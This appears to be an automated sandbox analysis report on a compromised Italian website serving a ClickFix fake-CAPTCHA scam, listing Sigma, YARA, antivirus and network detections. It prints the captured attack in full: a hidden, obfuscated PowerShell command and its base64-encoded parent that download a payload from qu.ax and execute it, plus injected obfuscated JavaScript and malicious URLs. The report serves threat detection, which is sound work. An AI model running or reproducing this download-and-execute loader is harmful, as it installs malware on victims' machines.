Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://qu.ax/TORof.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs() , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://qu.ax/TORof.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs() , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAu

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAHEAdQAuAGEAeAAvAFQATwBSAG8AZgAuAGIAaQBuACcAJwA7AFsAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAC4AKAAoACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAHwATQBlAG0AYgBlAHIAKQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbgBsACoAZwAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAoAFYAYQByAGkAYQBiAGwAZQAgAGwAVwApAC4AVgBhAGwAdQBlACkAKQAuAEkAbgB2AG8AawBlAFIAZQB0AHUAcgBuAEEAcwBJAHMAKAApACcA, CommandLine: powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUA

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://qu.ax/TORof.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs() , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command gdr -*;Set-Variable CiU (.$ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name)|Member|Where-Object{$_.Name-like'*t*om*d'}).Name).Invoke($ExecutionContext.(($ExecutionContext|Member)[6].Name).(($ExecutionContext.(($ExecutionContext|Member)[6].Name).PsObject.Methods|Where-Object{$_.Name-like'*om*e'}).Name).Invoke('N*-O*',$TRUE,$TRUE),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);Set-Item Variable:/lW 'https://qu.ax/TORof.bin';[ScriptBlock]::Create((GI Variable:CiU).Value.((((GI Variable:CiU).Value|Member)|Where-Object{$_.Name-like'*nl*g'}).Name).Invoke((Variable lW).Value)).InvokeReturnAsIs() , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAu

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAHwATQBlAG0AYgBlAHIAfABXAGgAZQByAGUALQBPAGIAagBlAGMAdAB7ACQAXwAuAE4AYQBtAGUALQBsAGkAawBlACcAJwAqAHQAKgBvAG0AKgBkACcAJwB9ACkALgBOAGEAbQBlACkALgBJAG4AdgBvAGsAZQAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AUABzAE8AYgBqAGUAYwB0AC4ATQBlAHQAaABvAGQAcwB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbwBtACoAZQAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAnACcATgAqAC0ATwAqACcAJwAsACQAVABSAFUARQAsACQAVABSAFUARQApACwAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEMAbwBtAG0AYQBuAGQAVAB5AHAAZQBzAF0AOgA6AEMAbQBkAGwAZQB0ACkATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApADsAUwBlAHQALQBJAHQAZQBtACAAVgBhAHIAaQBhAGIAbABlADoALwBsAFcAIAAnACcAaAB0AHQAcABzADoALwAvAHEAdQAuAGEAeAAvAFQATwBSAG8AZgAuAGIAaQBuACcAJwA7AFsAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAF0AOgA6AEMAcgBlAGEAdABlACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAC4AKAAoACgAKABHAEkAIABWAGEAcgBpAGEAYgBsAGUAOgBDAGkAVQApAC4AVgBhAGwAdQBlAHwATQBlAG0AYgBlAHIAKQB8AFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0AHsAJABfAC4ATgBhAG0AZQAtAGwAaQBrAGUAJwAnACoAbgBsACoAZwAnACcAfQApAC4ATgBhAG0AZQApAC4ASQBuAHYAbwBrAGUAKAAoAFYAYQByAGkAYQBiAGwAZQAgAGwAVwApAC4AVgBhAGwAdQBlACkAKQAuAEkAbgB2AG8AawBlAFIAZQB0AHUAcgBuAEEAcwBJAHMAKAApACcA, CommandLine: powershell -w 1 -Enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAtAHcAJwAsACcAaABpAGQAZABlAG4AJwAsACcALQBlAHAAJwAsACcAYgB5AHAAYQBzAHMAJwAsACcALQBuAG8AcAAnACwAJwAtAEMAbwBtAG0AYQBuAGQAJwAsACcAZwBkAHIAIAAtACoAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEMAaQBVACAAKAAuACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUAeABlAGMAdQB0AGkAbwBuAEMAbwBuAHQAZQB4AHQAfABNAGUAbQBiAGUAcgApAFsANgBdAC4ATgBhAG0AZQApAC4AKAAoACQARQB4AGUAYwB1AHQAaQBvAG4AQwBvAG4AdABlAHgAdAAuACgAKAAkAEUA

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982	Avira URL Cloud: Label: malware
Source: https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ecA	Avira URL Cloud: Label: malware
Source: https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ecQ	Avira URL Cloud: Label: malware
Source: https://solve.bogx.org/Vai	Avira URL Cloud: Label: malware
Source: https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ec3	Avira URL Cloud: Label: malware
Source: https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ec2tG	Avira URL Cloud: Label: malware

Phishing

Yara detected CAPTCHA Scam ClickFix

Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.5.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML
Source: Yara match	File source: 1.2.pages.csv, type: HTML

Source: https://www.cipassoitalia.it/

HTTP Parser: Base64 decoded: function _0xe073(_0x44773e, _0x22ec1d) { const _0x2ae953 = _0xca40(); return _0xe073 = function (_0x463722, _0x22f07e) { _0x463722 = _0x463722 - (-0x2524 + -0x12a7 + -0x1e * -0x1e7); let _0x404984 = _0x2ae953[_0x463722]; re...

Source: https://www.cipassoitalia.it/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4ZTA3MyhfMHg0NDc3M2UsIF8weDIyZWMxZCkgewogICAgY29uc3QgXzB4MmFlOTUzID0gXzB4Y2E0MCgpOwogICAgcmV0dXJuIF8weGUwNzMgPSBmdW5jdGlvbiAoXzB4NDYzNzIyLCBfMHgyMmYwN2UpIHsKICAgICAgICBfMHg0NjM3MjIgPSBfMHg0NjM3MjIgLSAoLTB4Mj
Source: https://www.cipassoitalia.it/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4ZTA3MyhfMHg0NDc3M2UsIF8weDIyZWMxZCkgewogICAgY29uc3QgXzB4MmFlOTUzID0gXzB4Y2E0MCgpOwogICAgcmV0dXJuIF8weGUwNzMgPSBmdW5jdGlvbiAoXzB4NDYzNzIyLCBfMHgyMmYwN2UpIHsKICAgICAgICBfMHg0NjM3MjIgPSBfMHg0NjM3MjIgLSAoLTB4Mj
Source: https://www.cipassoitalia.it/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4ZTA3MyhfMHg0NDc3M2UsIF8weDIyZWMxZCkgewogICAgY29uc3QgXzB4MmFlOTUzID0gXzB4Y2E0MCgpOwogICAgcmV0dXJuIF8weGUwNzMgPSBmdW5jdGlvbiAoXzB4NDYzNzIyLCBfMHgyMmYwN2UpIHsKICAgICAgICBfMHg0NjM3MjIgPSBfMHg0NjM3MjIgLSAoLTB4Mj
Source: https://www.cipassoitalia.it/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4ZTA3MyhfMHg0NDc3M2UsIF8weDIyZWMxZCkgewogICAgY29uc3QgXzB4MmFlOTUzID0gXzB4Y2E0MCgpOwogICAgcmV0dXJuIF8weGUwNzMgPSBmdW5jdGlvbiAoXzB4NDYzNzIyLCBfMHgyMmYwN2UpIHsKICAgICAgICBfMHg0NjM3MjIgPSBfMHg0NjM3MjIgLSAoLTB4Mj
Source: https://www.cipassoitalia.it/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4ZTA3MyhfMHg0NDc3M2UsIF8weDIyZWMxZCkgewogICAgY29uc3QgXzB4MmFlOTUzID0gXzB4Y2E0MCgpOwogICAgcmV0dXJuIF8weGUwNzMgPSBmdW5jdGlvbiAoXzB4NDYzNzIyLCBfMHgyMmYwN2UpIHsKICAgICAgICBfMHg0NjM3MjIgPSBfMHg0NjM3MjIgLSAoLTB4Mj
Source: https://www.cipassoitalia.it/	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gXzB4ZTA3MyhfMHg0NDc3M2UsIF8weDIyZWMxZCkgewogICAgY29uc3QgXzB4MmFlOTUzID0gXzB4Y2E0MCgpOwogICAgcmV0dXJuIF8weGUwNzMgPSBmdW5jdGlvbiAoXzB4NDYzNzIyLCBfMHgyMmYwN2UpIHsKICAgICAgICBfMHg0NjM3MjIgPSBfMHg0NjM3MjIgLSAoLTB4Mj

Source: unknown	HTTPS traffic detected: 52.113.196.254:443 -> 192.168.2.16:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.16:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.245.212.29:443 -> 192.168.2.16:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.245.212.29:443 -> 192.168.2.16:50014 version: TLS 1.2

Source: global traffic

HTTP traffic detected: GET /TORof.bin HTTP/1.1Host: qu.axConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.20
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.20
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.20
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.20
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.20
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.20
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.20
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.20
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.131
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.131
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.131
Source: unknown	TCP traffic detected without corresponding DNS query: 2.22.50.131
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.20
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.221.95
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.20
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.20
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.160.20
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.cipassoitalia.itConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
